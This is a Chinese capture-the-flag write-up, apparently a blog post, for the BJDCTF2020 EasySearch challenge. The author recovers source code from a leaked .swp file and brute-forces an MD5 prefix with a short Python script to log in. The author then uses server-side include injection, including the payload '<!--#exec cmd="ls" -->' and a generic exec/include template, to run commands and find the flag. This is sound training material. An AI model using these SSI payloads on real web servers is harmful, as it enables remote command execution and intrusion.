[BJDCTF2020]EasySearch

目录

SSI注入漏洞

简介

SSI注入条件

利用方式


登录框。看一下源码没有东西然后抓包看头没有东西,看了一下题的名字,search?那就扫一下发现是.swp泄露,访问/index.php.swp发现源码

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
    ***
    }
    ***
?>

审一下,关键点在:

 if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6))

要密码MD5加密的前面是6d0bc1的密文,用python跑一下

import hashlib
​
for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
​
    if a[0:6] == '6d0bc1':
        print(i)
        print(a)
2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c
51302775
6d0bc1a762d786e2f6ef20f705109f10
106531357
6d0bc1df6c5a457edcd96110a6f31606
129184799
6d0bc12c29dd6da1a9fefa3500d5c4ce
130150733
6d0bc1ae68929247c101271a618a615a
142933021
6d0bc1575d57b01504e7b87dcfbc72d3
149187642
6d0bc132fea1a08abf07106debfee751
192869488
6d0bc124485fad8723b83d2c8922125a
208023084
6d0bc182d7a606b989a3dc278d6e77db
208027520
6d0bc15f0b11d49315698e13041526c0
217103754
6d0bc1b806529d72406f3695f87f1d6a
221210184
6d0bc198539d8bb4464a1ff2643f949f
222678902
6d0bc10a683c85ffa1794d3a879e8cf7
224385291
6d0bc129ef0e340e59ec8c11465eba78
265766148
6d0bc1dc28dce97098e82dd0187f0f3d
295784242
6d0bc15d3483d8f2650a9ecffa8a02cf
354369023
6d0bc1787f2d5cd3b53ea0e378e8d2be
365718766
6d0bc1fca24050df15b53ba09a5f432b
413172293
6d0bc17ebbbac3fa2b0840e66d4e153f
419433490
6d0bc157a080e24b8b95d0d51b2bf833
433348712
6d0bc152be7cb6d07199bfdc6f155289
472457005
6d0bc1f5d916b82eab146d962676afec
476588998
6d0bc1357dc4d72b8263ee2c75131162
512425617
6d0bc1e275dec630239ab1adf8840aca

选一个做密码可以登录

除了弹窗啥也没有,哎?不是!有个小字在左上角[!] Header error ...

抓包呗

抓到了这个小子,shtml!!!shtml有注入

SSI注入漏洞

简介

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI漏洞。

SSI注入条件

  • Web 应用程序在返回响应的HTML页面时,嵌入了用户输入

  • Web 应用程序未对相关SSI关键字做过滤

  • Web 服务器已支持SSI(服务器端包含)

利用方式

<!--#exec cmd="命令" -->
<! #include file="文件名称"–>

这个题要用到的payload是

<!--#exec cmd="ls" -->

然后得到:

访问一个

得到flag的名称,那就访问一下就得到flag啦!

债见!

感谢BUU提供优质题,感谢勤劳的自己!

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值